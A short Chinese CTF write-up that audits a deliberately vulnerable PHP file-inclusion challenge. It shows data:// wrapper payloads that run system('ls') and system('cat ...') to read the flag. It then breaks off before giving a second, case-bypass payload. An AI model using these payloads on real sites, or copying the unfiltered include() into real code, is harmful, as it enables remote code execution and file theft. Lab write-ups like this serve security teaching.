<?php
show_source(__FILE__);
echo $_GET['hello'];
$page=$_GET['page'];
while (strstr($page, "php://")) {
  $page=str_replace("php://", "", $page);
}
include($page);
?>

题目源码如上,简单审计一下,过滤了php://

这是个典型的文件包含利用题目。文件名为page。

可以用两种解法。

一、利用data伪协议

data://text/plain;base64

伪协议总结:

img

原文地址:https://blog.csdn.net/nzjdsds/article/details/82461043

payload:?page=data://text/plain,<?php system("ls"); ?>

可以看到成功执行。说明allow_url_fopen allow_url_include是打开的。而且也读取到了敏感文件。 继续读取

payload:?page=data://text/plain,<?php system("cat fl4gisisish3r3.php"); ?>

成功拿到flag。

二、 利用strstr()函数的大小写敏感

payload一样:


花びらは笑った.